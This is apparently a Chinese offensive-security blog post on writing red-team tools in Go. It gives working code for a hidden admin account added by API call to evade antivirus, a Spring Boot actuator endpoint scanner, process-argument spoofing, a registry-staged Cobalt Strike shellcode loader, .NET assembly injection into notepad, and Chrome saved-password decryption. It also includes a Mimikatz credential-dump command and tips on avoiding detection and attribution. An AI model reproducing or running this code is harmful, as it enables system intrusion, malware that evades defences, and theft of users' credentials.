Golang安全开发闲谈
简介
主要是给师傅们,介绍一下Golang的一些用法和小技巧.
windows api 使用
首先我们介绍用Go语言去添加用户.
这里可以给大家介绍一个小技巧,因为Go和C的语法是比较相似的,所以可以去对比C的写法来写Go的.
要注意的是C语言在底层这里很多都定义好了,但Go并没有定义好,所以我们要重写
USER_INFO_1 ui;//这个因为已经在C中定义好了//我们可以Ctrl+单击进入看看这一个结构体

为了让Go减少体积,这里便不去调用第三方库了,下面对一些结构体和类型进行相对应的重写
type (DWORD uint32LPWSTR uintptr)type USER_INFO_1 struct {usri1_name LPWSTRusri_password LPWSTRusri1_password_age DWORDusri1_priv DWORDusri1_home_dir LPWSTRusri1_comment LPWSTRusri1_flags DWORDusri1_script_path LPWSTR}
因为添加管理员用户涉及了Golang api的字符串形式,这里我们可利用syscall.UTF16PtrFromString进行转换。
user.usri1_name = LPWSTR(unsafe.Pointer(syscall.StringToUTF16Ptr("test57")))user.usri_password = LPWSTR(unsafe.Pointer(syscall.StringToUTF16Ptr("P@sss!111")))
当然我们也可以看到C语言版中有USER_PRIV_USER字样,点进去看是被定义为1的
然后我们就可以模仿写出
const (USER_PRIV_USER = 1UF_SCRIPT = 0x0001NERR_Success = 0)
当我们这些结构体和变量都处理好的时候,我们便可以调用DLL里面的API进入操作了
最终可以不受环境影响32位Go程序是600kb左右
这个功能目前也集中在免杀平台里面.
//author:YanMupackage mainimport ("syscall""unsafe")type (DWORD uint32LPWSTR uintptr)const (USER_PRIV_USER = 1UF_SCRIPT = 0x0001NERR_Success = 0)type USER_INFO_1 struct {usri1_name LPWSTRusri_password LPWSTRusri1_password_age DWORDusri1_priv DWORDusri1_home_dir LPWSTRusri1_comment LPWSTRusri1_flags DWORDusri1_script_path LPWSTR}type _LOCALGROUP_USERS_INFO_0 struct {lgrui0_name LPWSTR}var (Netapi32, _ = syscall.LoadLibrary("Netapi32.dll")NetUserAdd, _ = syscall.GetProcAddress(syscall.Handle(Netapi32), "NetUserAdd")NetLocalGroupAddMembers, _ = syscall.GetProcAddress(syscall.Handle(Netapi32), "NetLocalGroupAddMembers")dwError DWORD = 0user USER_INFO_1 = USER_INFO_1{}account _LOCALGROUP_USERS_INFO_0 = _LOCALGROUP_USERS_INFO_0{})func add_user_To_the_admin_group() {user.usri1_name = LPWSTR(unsafe.Pointer(syscall.StringToUTF16Ptr("test57")))user.usri_password = LPWSTR(unsafe.Pointer(syscall.StringToUTF16Ptr("P@sss!111")))user.usri1_priv = USER_PRIV_USERuser.usri1_flags = UF_SCRIPTif a, _, _ := syscall.Syscall6(NetUserAdd, 4, 0, 1, uintptr(unsafe.Pointer(&user)), uintptr(dwError), 0, 0); a == 0 {println("添加用户成功!")} else {println("添加用户失败")}account.lgrui0_name = user.usri1_namevar admin_group LPWSTRadmin_group = LPWSTR(unsafe.Pointer(syscall.StringToUTF16Ptr("Administrators")))if d, _, _ := syscall.Syscall6(NetLocalGroupAddMembers, 5, 0, uintptr(admin_group), 3, uintptr(unsafe.Pointer(&account)), 1, 0); d == NERR_Success {println("添加用户到管理员组成功!")} else {println("添加用户到管理员组失败")}defer func() {syscall.FreeLibrary(Netapi32)}()}func main() {add_user_To_the_admin_group()}
当然可能这种调用这种API,没有威胁性,我测试的是windows def和卡巴斯基都可以添加上,也包括360,但看到Tools上说到C的不免杀了
[]最新版360已经拦截netapi加用户了。 - T00ls.Net,
就写出了Go版本的,毕竟如果杀软拦截CS特征,但还能登上3389还挺香的.
Spring渗透线程小工具
在实际操作的时候,我们都会根据需求来写一些满足自己的小工具
这里以比较火的Spring boot为例
//author:YanMupackage main/*LQ*/import ("bufio""crypto/tls""flag""fmt""io/ioutil""net/http""os""strconv""strings""sync""time")var (numberTasks []stringthe_returned_result_is_200 []stringlist_of_errors []stringt = &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true},}opt = option())type FLAG_TO_CHOOSE struct {src_file stringdes_file stringroutineCountTotal inturls string}func option() *FLAG_TO_CHOOSE {src_file := flag.String("s", "spring.txt", "字典文件")urls := flag.String("u", "", "目标url")des_file := flag.String("d", "result.txt", "结果文件")routineCountTotal := flag.Int("t", 40, "线程数量{默认为40}")flag.Parse()return &FLAG_TO_CHOOSE{src_file: *src_file, urls: *urls, des_file: *des_file, routineCountTotal: *routineCountTotal}}func title() {fmt.Println(`▄████ ▒███████▒ ▀█▒▒██▒ ██▒▒██░▄▄▄░▒██░ ██▒░▓█ ██▓▒██ ██░░▒▓███▀▒░ ████▓▒░░▒ ▒ ░ ▒░▒░▒░░ ░ ░ ▒ ▒░░ ░ ░ ░ ░ ░ ▒░ ░ ░`)}func main() {title()file, err := os.Open(opt.src_file)if err != nil {fmt.Println("打开文件时候出错")}defer func() {file.Close()}()n := bufio.NewScanner(file)for n.Scan() {data := n.Text()numberTasks = append(numberTasks, data)}client = &http.Client{Transport: t,Timeout: 20 * time.Second,}beg := time.Now()wg := &sync.WaitGroup{}tasks := make(chan string)results := make(chan string)go func() {for result := range results {if result == "" {close(results)} else if strings.Contains(result, "200") || strings.Contains(result, "端点") {fmt.Println(result)the_returned_result_is_200 = append(the_returned_result_is_200, result)} else if strings.Contains(result, "500") {if strings.Contains(result, "article") {fmt.Println(result)the_returned_result_is_200 = append(the_returned_result_is_200, result)}} else {list_of_errors = append(list_of_errors, result)}}}()for i := 0; i < opt.routineCountTotal; i++ {wg.Add(1)go worker(wg, tasks, results)}for _, task := range numberTasks {tasks <- task}tasks <- ""wg.Wait()results <- ""fmt.Println("\033[33m+++++++++++++++++++请求成功的++++++++++++++++++++++")file_1, err := os.OpenFile(opt.des_file, os.O_WRONLY|os.O_CREATE, 0666)if err != nil {fmt.Println("文件打开失败", err)}defer file_1.Close()write_1 := bufio.NewWriter(file_1)for _, v := range the_returned_result_is_200 {fmt.Println(v)write_1.WriteString(v + "\n")}write_1.Flush()fmt.Println("发生了", len(list_of_errors), "个失败")fmt.Printf("time consumed: %fs\n", time.Now().Sub(beg).Seconds())fmt.Println("具体接口用法请参考:https://github.com/LandGrey/SpringBootVulExploit")fmt.Println("小提醒:ctrl+单击会打开链接\033[0m")}func worker(group *sync.WaitGroup, tasks chan string, result chan string) {for task := range tasks {if task == "" {close(tasks)} else {respBody, err := NumberQueryRequest(task)if err != nil {fmt.Printf("error occurred in NumberQueryRequest: %s\n", task)result <- err.Error()} else {result <- respBody}}}group.Done()}var client *http.Clientfunc NumberQueryRequest(keyword string) (body string, err error) {opt.urls = strings.TrimRight(opt.urls, "/")url := fmt.Sprintf("%s%s", opt.urls, keyword)fmt.Println(url)req, err := http.NewRequest("GET", url, nil)if err != nil {return "构造请求出错", err}req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36")resp, err := client.Get(url)if err != nil {return "发送请求出错", err}return_value := resp.StatusCodeif resp != nil && resp.Body != nil {defer resp.Body.Close()}if strings.Contains(keyword, "/env") {body22, _ := ioutil.ReadAll(resp.Body)if strings.Contains(string(body22), "spring.cloud.bootstrap.location") {body = "url: " + url + " || " + "目标站点开启了 env 端点且spring.cloud.bootstrap.location属性开启,可进行环境属性覆盖RCE测试"return body, nil} else if strings.Contains(string(body22), "eureka.client.serviceUrl.defaultZone") {body = "url: " + url + " || " + "目标站点开启了 env 端点且eureka.client.serviceUrl.defaultZone属性开启,可进行XStream反序列化RCE测试"return body, nil}} else if strings.Contains(keyword, "/jolokia/list") {body33, _ := ioutil.ReadAll(resp.Body)if strings.Contains(string(body33), "reloadByURL") {body = "url: " + url + " || " + "目标站点开启了 jolokia 端点且存在reloadByURL方法,可进行XXE/RCE测试"return body, nil} else if strings.Contains(string(body33), "createJNDIRealm") {body = "url: " + url + " || " + "目标站点开启了 jolokia 端点且存在createJNDIRealm方法,可进行JNDI注入RCE测试"return body, nil}}body = "url:" + url + " || " + "返回值:" + strconv.Itoa(return_value)return body, nil}
当然要给师傅们写上Spring boot的字典
/v2/api-docs/swagger-ui.html/swagger/api-docs/api.html/swagger-ui/swagger/codes/api/index.html/api/v2/api-docs/v2/swagger.json/swagger-ui/html/distv2/index.html/swagger/index.html/sw/swagger-ui.html/api/swagger-ui.html/static/swagger.json/user/swagger-ui.html/swagger-ui/index.html/swagger-dubbo/api-docs/template/swagger-ui.html/swagger/static/index.html/dubbo-provider/distv2/index.html/spring-security-rest/api/swagger-ui.html/spring-security-oauth-resource/swagger-ui.html/mappings/metrics/jolokia/list/beans/configprops/actuator/metrics/actuator/mappings/actuator/beans/actuator/configprops/actuator/auditevents/autoconfig/beans/caches/conditions/configprops/docs/dump/env/flyway/health/heapdump/httptrace/info/intergrationgraph/jolokia/logfile/loggers/liquibase/metrics/mappings/prometheus/refresh/scheduledtasks/sessions/shutdown/trace/threaddump/actuator/auditevents/actuator/beans/actuator/health/actuator/conditions/actuator/configprops/actuator/env/actuator/info/actuator/loggers/actuator/heapdump/actuator/threaddump/actuator/metrics/actuator/scheduledtasks/actuator/httptrace/actuator/mappings/actuator/jolokia/actuator/hystrix.stream/env/actuator/env/refresh/actuator/refresh/restart/actuator/restart/jolokia/actuator/jolokia/trace/actuator/httptrace/article?id=${7*7}/article?id=66/h2-console


小工具用了多线程,所以速度上会有一点舒适度的.主要介绍一下编写的注意事项.
因为我们渗透测试的的工具一般就是发包功能,不联网咋黑[doge],所以我们会学习”net/http”包的使用.
对于我来说,可以理解以下三步骤.
//构造客户端var client *http.Client//构成请求包req, err := http.NewRequest("GET", url, nil)if err != nil {return "构造请求出错", err}req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36")//客户端发送请求resp, err := client.Get(url)if err != nil {return "发送请求出错", err}
通过设置TLSClientConfig,取消对HTTPS的证书验证,因为我们在平时,还是很多网站会遇到这个证书问题的
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}
“flag”包一般就是帮我们去完成一些交互式命令的
type FLAG_TO_CHOOSE struct {src_file stringdes_file stringroutineCountTotal inturls string}func option() *FLAG_TO_CHOOSE {src_file := flag.String("s", "spring.txt", "字典文件")urls := flag.String("u", "", "目标url")des_file := flag.String("d", "result.txt", "结果文件")routineCountTotal := flag.Int("t", 40, "线程数量{默认为40}")flag.Parse()return &FLAG_TO_CHOOSE{src_file: *src_file, urls: *urls, des_file: *des_file, routineCountTotal: *routineCountTotal}}
然后就是多线程去分配任务,routineCountTotal是我们的线程数
go func() {for result := range results{if result == ""{close(results)}else{fmt.Println("result:", result)}}}()//接受响应并处理的匿名函数for _, task := range numberTasks{tasks <- task}//分发我们的字典任务
当然这个工具还有很多要改善的地方,最明显的一点,比较Low.🤔
logo的话,就可以用一些字符画生成网站来解决这个问题
字符画生成
https://github.com/YanMu2020/SpringScan,这是编译好的工具
小总结:多线程是Go的核心,还是需要多加学习.
ScareCrow数字签名
这个工具比较火,最近作者也是作为一次议题带到了国外的安全大会上,虽然现在查杀比较严重,因为免杀是一个见光死的技术,
但不妨碍我们学习源码去二开或者带到自己的程序当中.
平时我们常用的工具为sigthief来进行证书伪造,从而得到免杀效果.但ScareCrow也算是有自己一套

在ScareCrow中,自签名的功能位于limelighter/limelighter.go中
签名功能主函数是Signer,调用了自写的VarNumberLength,GenerateCert,GeneratePFK,SignExecutable函数
其参数是需要提供的交互式参数,所以这个功能我们可以直接分离作为一个程序,作为exe免杀辅助工具,或者自己写的框架的功能


这个文件主要是程序添加证书和程序信息的.
可以看到ScareCrow是调用osslsigncode来达到签名效果,不过提供osslsigncode需要的pkcs12file达到一步化.

Go版本的地狱门
当我们遇到高版本windows2016服务器的时候,会自带windows defender,一般我们可以通过调用地狱门(windows原生调用syscall)的方法来绕过.
C版本:https://github.com/am0nsec/HellsGate/
Go版本:https://github.com/C-Sto/BananaPhone
Go版本缺陷是作者仅研究了asm_x64.s ,所以编译为32位会报错,不过一般高版本服务器以64位为主.低版本可以尝试调用API来绕过.
Go版本的地狱门,作者写出了第三方包的形式,这也为我们扩展打下基础.
argue欺骗
在CS3.13中,引入了argue参数,这是一种进程参数欺骗的技术,在进程启动的时候,使用一些干扰参数,使其记录的参数和实际运行的参数不同
创建了一个挂起的终端进程,通过NtQueryInformationProcess API获取进程块的peb的地址,利用readProcessMemory API来获取进程块的内存副本,然后读取修改RTL_USER_PROCESS_PARAMETERS结构体中commandline的字段,替换为正常的命令行参数
其实很多时候,用Go写一些API不能太深入,还是那句话因为很多底层东西C定好了,Go没有定义好,所以需要重写.最简单不重写那些底层的方法,是直接套用C代码就可.
这时候可以用到CGO了,CGO可以让Go去更好的调用C函数
//author:YanMupackage main/*#include <stdio.h>int fyu() {return 0;}*/import "C"func main() {var a C.inta = C.fyu()println(a)}

package main/*#include <stddef.h>#include <stdbool.h>#include <windows.h>#include <winternl.h>#include <stdio.h>typedef NTSTATUS(*NtQueryInformationProcess2)(IN HANDLE, IN PROCESSINFOCLASS,OUT PVOID, IN ULONG, OUT PULONG);void* readProcessMemory(HANDLE process, void* address, DWORD bytes) {SIZE_T bytesRead;char* alloc;alloc = (char*)malloc(bytes);if (alloc == NULL) {return NULL;}if (ReadProcessMemory(process, address, alloc, bytes, &bytesRead) == 0) {free(alloc);return NULL;}return alloc;}BOOL writeProcessMemory(HANDLE process, void* address, void* data,DWORD bytes) {SIZE_T bytesWritten;if (WriteProcessMemory(process, address, data, bytes, &bytesWritten) == 0) {return false;}return true;}int wmain() {int argc =3;char *argv[3];argv[1] = "powershell";argv[2] = "################################################";STARTUPINFOA si = { 0 };PROCESS_INFORMATION pi = { 0 };PROCESS_BASIC_INFORMATION pbi;DWORD retLen;SIZE_T bytesRead;PEB pebLocal;RTL_USER_PROCESS_PARAMETERS* parameters;char* aaa = (char*)"cmd";char* bbb = (char*)"cmd.exe";int padding_size = 0;int memsize = 0;for (int i = 1; i < argc; i++) {padding_size += strlen(argv[i]);}memsize = (padding_size + 5) + (strlen(argv[1]) + 1) + 1;char* addr = (char*)malloc(memsize);addr[memsize - 1] = 0;memset(addr, 'x', memsize - 1);if (strcmp(argv[1], aaa) == 0 || strcmp(argv[1], bbb) == 0){strcpy(addr, argv[1]);}else {strcpy(addr, argv[1]);}memset(addr + strlen(argv[1]), ' ', 1);int command_size = 4;for (int i = 1; i < argc; i++) {command_size += strlen(argv[i]) + 1;}char* command = (char*)malloc(command_size);memset(command, 0, command_size);char* next_addr = command;if (strcmp(argv[2], "/c") != 0 && (strcmp(argv[1], aaa) == 0 || strcmp(argv[1], bbb) == 0)){strcpy(command, argv[1]);strcpy(command + strlen(argv[1]), " /c ");next_addr += strlen(argv[1]) + 4;}else {strcpy(command, argv[1]);next_addr += strlen(argv[1]);memset(next_addr, ' ', 1);next_addr += 1;}for (int i = 2; i < argc; i++) {strcpy(next_addr, argv[i]);next_addr += strlen(argv[i]);memset(next_addr, ' ', 1);next_addr += 1;}memset(next_addr - 1, 0, 1);printf("padding: %s\ncommand: %s\n", addr, command);char* str = command;char* test = addr;int size = mbstowcs(0, str, 0) + 1;wchar_t* wstr = (wchar_t*)malloc(size * sizeof(wchar_t));mbstowcs(wstr, str, size);CreateProcessA(NULL,(LPSTR)test,NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NEW_CONSOLE, NULL,"C:\\Windows\\System32\\", &si, &pi);NtQueryInformationProcess2 ntpi = (NtQueryInformationProcess2)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess");ntpi(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &retLen);ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB),&bytesRead);parameters = (RTL_USER_PROCESS_PARAMETERS*)readProcessMemory(pi.hProcess, pebLocal.ProcessParameters,sizeof(RTL_USER_PROCESS_PARAMETERS) + 300);writeProcessMemory(pi.hProcess, parameters->CommandLine.Buffer,(void*)wstr, size * sizeof(wchar_t));DWORD newUnicodeLen = 28;writeProcessMemory(pi.hProcess,(char*)pebLocal.ProcessParameters +offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine.Length),(void*)&newUnicodeLen, 4);ResumeThread(pi.hThread);}*/import "C"func main() {C.wmain()}
这个方法主要可以用到,你在写Go的C2,或者一些C工具的免杀,体积的话也会很小.可以理解为变相的混洗加壳.当然argue的C版本是免杀的
注意在import “C”的时候前面的注释,就是你的C代码,而且这个特殊的注释不能和import “C”有空格
使用C包的时候,还要安装GCC编译器.并且Go支持内嵌纯C代码,如果你直接内嵌了CPP的代码可能会报错.因为C至今为止还没有一个二进制接口规范(ABI),但有时候我们可以增加一组C语言函数接口作为C类和CGO之间的桥梁.

cobalt strike免杀加载器
大家一直在说Go木马有点大,但Go木马确实可以到达600kb到700kb,适合钓鱼.
目前加载器对于我而言,加解密是次要的,更应该是寻找新的Windows API找到新的套路上线.
简单聊聊火绒和360,360在实战中比较多,所以HW实际一点,能过360上线就差不多,火绒的查杀能力,我测试中,多以特征码为主,比如你的shellcode就是一个,可以自己xor一下,如果是ps1这些脚本的话,可能某个语句就是特征码,删除了弄个别名,IEX混洗执行,360规则在我眼中是比较迷的,处于一种你可能过了,但一会就给干掉那种.而且实战中360会敏感.
比如mimikatz换字符换图标,测试是1分钟给你干掉,而且实战中,在webshell上,一句话读取密码是实用的,但是如果你裸着一句话读取出来
powershell Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords full"'
是直接给你拦截的,特征很明显privilege::debug,sekurlsa::logonPasswords
当你测试cmd下免杀语句,也会出现拦着拦着给你不拦截了
还有一点,360火绒会拦截webshell起powershell进程,所以有时候免杀的powershell语句能在cmd上线,但在webshell不能上线
在这里其实可以考虑用到Csharp的using System.Management.Automation
再加上实战环境限制不一样,可能会处于你可能是过了,但实战中用不了的花瓶模式.只能看看在本地上线.

最后还要注意Go版本问题,因为在实战中2008很多,如果你使用Go编译高版本是不支持这些版本运行的,最后一个支持windows低版本运行syscall这些的编译器是Go 1.10.8.
Go高版本编译器编译的Frp是可以在2008运行的.
自制的免杀平台也是这个版本的编译器,经过测试windows高版本和低版本都可以上线了.
写到这里的时候,小刚师傅又在公众号发表新的API用法.
这里免杀加载器我用CGO去实现.
//author:YanMupackage mainimport ("encoding/hex""syscall""unsafe")/*#include "windows.h"void wsmain(){LPBYTE ptr;DWORD data_len;ptr=VirtualAlloc(0,800,0x3000,PAGE_EXECUTE_READWRITE);RegQueryValueExA(HKEY_CURRENT_USER,"t",0,0,0,&data_len);RegQueryValueExA(HKEY_CURRENT_USER,"t",0,0,ptr,&data_len);RegDeleteValueA(HKEY_CURRENT_USER,"t");EnumUILanguages((UILANGUAGE_ENUMPROC)ptr,0,0);return;}*/import "C"var (Advapi32, _ = syscall.LoadLibrary("Advapi32.dll")RegSetValueExA, _ = syscall.GetProcAddress(Advapi32, "RegSetValueExA"))func regdit() {defer syscall.FreeLibrary(Advapi32)shellcode, _ := hex.DecodeString("fc4883e4f0e8.............your shellcode...........")println(shellcode)tests := unsafe.Pointer(syscall.StringToUTF16Ptr("t"))output, _, _ := syscall.Syscall6(RegSetValueExA, 6, 0x80000001, uintptr(tests), 0, 3, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))println(output)C.wsmain()}func main() {regdit()}
Go通过RegSetValueExA在注册表写入shellcode
简要介绍这几个API用法
RegSetValueExA:
向HKEY_CURRENT_USER(对应0x80000001)新建一个类型为REG_BINARY(对应为3)名字为t,内容是shellcode,长度是shellcode的长度
C的任务就是
VirtualAlloc分配一个(LPBYTE)内存,接受RegQueryValueExA读取的内容,然后EnumUILanguages回调函数执行.
不过这个加载器还有问题会导致它被查杀,因为shellcode就是最明显的特征码,所以加密了一下
这里因为调用了第三库,所以体积有1.2M,就当加了一个小壳.
当然Go调用API我一直喜欢用PEB隐藏的方式加载这些.不经可以隐藏一些API加载,也可以减少体积
最终效果.

细心老哥可以发现我没有加-H windowsgui,因为这个参数也是一个查杀点,不过依然可以绕过.
当然免杀加载器也可以纯Go实现.但是感觉CGO可能自带一点点A.B.U特性.
再比如当时利用UUID的API:UuidToStringA,与之相似的有MAC的APIRtlEthernetStringToAddressA
老一套创建线程执行,也是一个查杀点,绕过举个例子,当时Python反序列化免杀,是顺带自动执行的.
而且一开始其实分配的内存不一定要是可读可写可执行(RWX),这个点也是比较明显的.
其实这种API加载很多,比如分配RW区域的AllocADsMem,然后写入shellcode以后再改成可读可执行
由于免杀算是一个见光死的技术,所以只能讲一些注意事项
.NET assembly 内存加载
CS3.11后也加入了这个功能(Execute-Assembly),可以让我们恶意.NET程序不落地在内存中执行,集成在C2框架中这个功能还是很香的.
通过将CLR加载到进程中,加载.NET程序集并调用静态方法,最后清理CLR——[公共语言运行时,是一套完整的、高级的虚拟机]
这里我们直接调用b4rtik师傅的dll程序,在notepad.exe中启动我们的 .NET CLR,加载这个dl就很容易实现了
func ExecuteAssembly(hostingDll []byte, assembly []byte, params string, amsi bool) error {AssemblySizeArr := convertIntToByteArr(len(assembly))ParamsSizeArr := convertIntToByteArr(len(params)+1)cmd := exec.Command("notepad.exe")cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true,}var stdoutBuf, stderrBuf bytes.Buffercmd.Stdout = &stdoutBufcmd.Stderr = &stderrBufcmd.Start()pid := cmd.Process.Pidhandle, err := syscall.OpenProcess(PROCESS_ALL_ACCESS, true, uint32(pid))if err != nil {return err}hostingDllAddr, err := virtualAllocEx(handle, 0, uint32(len(hostingDll)), MEM_COMMIT|MEM_RESERVE, syscall.PAGE_EXECUTE_READWRITE)if err != nil {return err}_, err = writeProcessMemory(handle, hostingDllAddr, unsafe.Pointer(&hostingDll[0]), uint32(len(hostingDll)))if err != nil {return err}log.Printf("[*] Hosting DLL reflectively injected at 0x%08x\n", hostingDllAddr)assemblyAddr, err := virtualAllocEx(handle, 0, uint32(len(assembly)), MEM_COMMIT|MEM_RESERVE, syscall.PAGE_READWRITE)if err != nil {return err}payload := append(AssemblySizeArr, ParamsSizeArr...)if amsi {payload = append(payload, byte(1))} else {payload = append(payload, byte(0))}payload = append(payload, []byte(params)...)payload = append(payload, '\x00')payload = append(payload, assembly...)_, err = writeProcessMemory(handle, assemblyAddr, unsafe.Pointer(&payload[0]), uint32(len(payload)))if err != nil {return err}log.Printf("[*] Wrote %d bytes at 0x%08x\n", len(payload), assemblyAddr)attr := new(syscall.SecurityAttributes)functionOffset, err := findRawFileOffset(hostingDll, EXPORTED_FUNCTION_NAME)threadHandle, _, err := createRemoteThread(handle, attr, 0, uintptr(hostingDllAddr + uintptr(functionOffset)), uintptr(assemblyAddr), 0)if err != nil {return err}log.Println("Got thread handle:", threadHandle)for {code, err := getExitCodeThread(threadHandle)if err != nil && !strings.Contains(err.Error(), "operation completed successfully") {log.Fatalln(err.Error())}if code == STILL_RUNNING {time.Sleep(1000 * time.Millisecond)} else {break}}cmd.Process.Kill()outStr, errStr := stdoutBuf.String(), stderrBuf.String()fmt.Printf("\nout:\n%s\nerr:\n%s\n", outStr, errStr)return nil}
handle, err := syscall.OpenProcess(PROCESS_ALL_ACCESS, true, uint32(pid))//获取notepad进程句柄hostingDllAddr, err := virtualAllocEx(handle, 0, uint32(len(hostingDll)), MEM_COMMIT|MEM_RESERVE, syscall.PAGE_EXECUTE_READWRITE)_, err = writeProcessMemory(handle, hostingDllAddr, unsafe.Pointer(&hostingDll[0]), uint32(len(hostingDll)))//分配内存,写入dll反射加载器/*剩下就是给加载文件分配内存,找到文件的偏移量,创建一个在notepad进程地址空间中运行的线程*/

CS也是加载了InvokeAssembly.dll,会将 InvokeAssembly.dll和Dotnet Assembly以及参数放在一起,一次性发送到Client端,但是三者大小之和不能超过1MB,所以我们要执行Charp的体积不能超过1M

dll帮我们做了很多事情,但我感觉Nim里面的更简单[doge],byt3bl33d3r师傅牛
CS中还有一个类似的功能是4.1后引进的BOF:inline-execute,这个功能还能加载指定的C文件
浏览器解密
当我们钓鱼成功的时候,我们一般都解密目标机器上保存在浏览器的密码,这也是一个优秀的C2功能.
由于Csharp特性,这一方面,还是CS assembly 加载Csharp的exe比较香.
微软提供了两个数据保护API用来加密和解密,CryptProtectMemory和CryptUnprotectMemory
chrome的密码经过加密后存储位置
\AppData\Local\Google\Chrome\User Data\Default\Login Data
80版本后,存放密钥local state(JSON格式的文件)的位置
\AppData\Local\Google\Chrome\User Data\Local State
chrome密码存放其实是一个sqlite数据库文件.在Go中编写需要第三方库支持
github.com/mattn/go-sqlite3 //需要你安装GCC
这样我们可以先把这些需要的API和存放位置定义为一个全局变量
var (crypt32, _ = syscall.LoadLibrary("Crypt32.dll")kernel32 = syscall.NewLazyDLL("Kernel32.dll")procDecryptData, _ = syscall.GetProcAddress(crypt32, "CryptUnprotectData")procLocalFree = kernel32.NewProc("LocalFree")dataPath string = os.Getenv("USERPROFILE") + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"localStatePath string = os.Getenv("USERPROFILE") + "\\AppData\\Local\\Google\\Chrome\\User Data\\Local State"masterKey []byte)

可以看到80.x后加密后前缀为v10,这里可以帮我们起到判断使用哪种版本的解密方法
if strings.HasPrefix(PASSWORD, "v10") {PASSWORD = strings.Trim(PASSWORD, "v10")
如果加密的值未以 v10作为前缀,则使用Windows DPAPI接口对原始值进行加解密
func Decrypt(data []byte) ([]byte, error) {var outblob DATA_BLOBr, _, err := syscall.Syscall9(procDecryptData, 7, uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outblob)), 0, 0)if r == 0 {return nil, err}defer procLocalFree.Call(uintptr(unsafe.Pointer(outblob.pbData)))return outblob.ToByteArray(), nil}
如果不是就要用新的解密办法,先从local state中提取密钥,然后base64,Trim掉密钥的前缀DPAPI,然后再使用Windows DPAPI对其进行解密得到最终的密钥
它采用的是os_crypt_win.cc下的DecryptString方法.


func getMasterKey() ([]byte, error) {var masterKey []bytejsonFile, err := os.Open(localStatePath)if err != nil {return masterKey, err}defer jsonFile.Close()byteValue, err := ioutil.ReadAll(jsonFile)if err != nil {return masterKey, err}var result map[string]interface{}json.Unmarshal([]byte(byteValue), &result)roughKey := result["os_crypt"].(map[string]interface{})["encrypted_key"].(string)//密钥存放在os_crypt.encrypted_key中decodedKey, err := base64.StdEncoding.DecodeString(roughKey)stringKey := string(decodedKey)stringKey = strings.Trim(stringKey, "DPAPI")masterKey, err = Decrypt([]byte(stringKey))if err != nil {return masterKey, err}return masterKey, nil}
整个加密过程使用了AES-GCM模式加密,在os_crypt_win.cc文件中可以看到相应的nonce和密钥取值

最后解密,体积也不算很大3.6M.

Go编译技巧

我们一般的编程环境是六十四位的
编译32位的指令是
set GOARCH=386
仅限于当前的shell窗口
当我们直接go build的exe,里面含有我们本地大量的信息,一不小心就可以被溯源到

防止被溯源的指令
go build -trimpath -ldflags "-w -s" main.go
当然 -w -s 后
go编译后从hex上看会有很多特征
- s:忽略符号表和调试信息。
- -w:忽略DWARFv3调试信息,使用该选项后将无法使用gdb进行调试。
缺点也比较明显,有时候你程序即使编译成功不运行也会报错,如果去掉这些调试信息的话,运行以后就什么都没有了
比如go build ID:这类,很不幸,在Windows defender 它也是特征之一.

tools上文章中写到-race,数据竞争也可以免杀,经过测试,的确有效果,但体积会更大,而且只适合x64.可以看场景进行使用
-raceenable data race detection.Supported only on linux/amd64, freebsd/amd64, darwin/amd64, windows/amd64,linux/ppc64le and linux/arm64 (only for 48-bit VMA).
其实还有一些师傅编译的时候会遇到第三方包下载不了,这是因为Go官方被屏蔽了
go env -w GO111MODULE=ongo env -w GOPROXY=https://goproxy.io,direct
改了代理以后,就会像pip install 一样丝滑.
总结
Go的语句简单易学,没有很多的语法糖,如果你会C的话,基本可以很容易掌握Go,但是如果只是写POC建议还是Python,因为在项目中验证和利用漏洞,py就够了,因为目标一个的话,多线程可以忽略,但Windows没有默认集成py环境,以及py被GIL限制的原因,你可以学习一门编译型语言来辅助你,C/C++,Cshap,Go,Nim这些.
如果写的不好,请大师傅们海涵.
